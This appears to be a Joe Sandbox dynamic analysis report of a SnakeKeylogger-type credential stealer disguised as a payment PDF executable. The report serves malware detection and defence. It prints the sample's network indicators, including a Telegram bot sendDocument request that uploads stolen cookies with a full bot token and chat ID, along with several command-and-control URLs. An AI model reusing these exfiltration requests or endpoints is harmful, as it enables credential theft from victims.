Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:124406%0D%0ADate%20and%20Time:%2006/02/2025%20/%2020:31:18%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20124406%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7806240927:AAGovO05VYlSynI1cuzrN-7N9HltfEtnYLA/sendDocument?chat_id=7128988401&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd474b275f999bHost: api.telegram.orgContent-Length: 7046

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49739 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49734 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49737 -> 104.21.64.1:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49735 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:124406%0D%0ADate%20and%20Time:%2006/02/2025%20/%2020:31:18%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20124406%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: 241.42.69.40.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /bot7806240927:AAGovO05VYlSynI1cuzrN-7N9HltfEtnYLA/sendDocument?chat_id=7128988401&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd474b275f999bHost: api.telegram.orgContent-Length: 7046

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 06 Feb 2025 08:21:23 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002EAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Swift Copy TT USDUSD$23,401.PDF.exe	String found in binary or memory: http://tempuri.org/DataSet1.xsd
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677371559.0000000005604000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1677485048.0000000006DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002EAA000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002DF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002E1B000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002DF9000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002DF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002DF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:124406%0D%0ADate%20a
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002EAA000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7806240927:AAGovO05VYlSynI1cuzrN-7N9HltfEtnYLA/sendDocument?chat_id=7128
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002ED5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002ED5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en4
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002ED0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002DF9000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002DF9000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002D8A000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003FE0000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003E3C000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.00000000040B5000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003E63000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003DEE000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002E1B000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003F92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003F98000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003F6D000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003E3E000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003DF4000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003DC9000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000004091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003FE0000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003E3C000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.00000000040B5000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003E63000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003DEE000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002E1B000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003F92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003F98000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003F6D000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003E3E000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003DF4000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000003DC9000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4113385147.0000000004091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002F06000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002E1B000.00000004.00000800.00020000.00000000.sdmp, Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002EF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002F06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/4
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4109031767.0000000002EF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/p

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49755 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
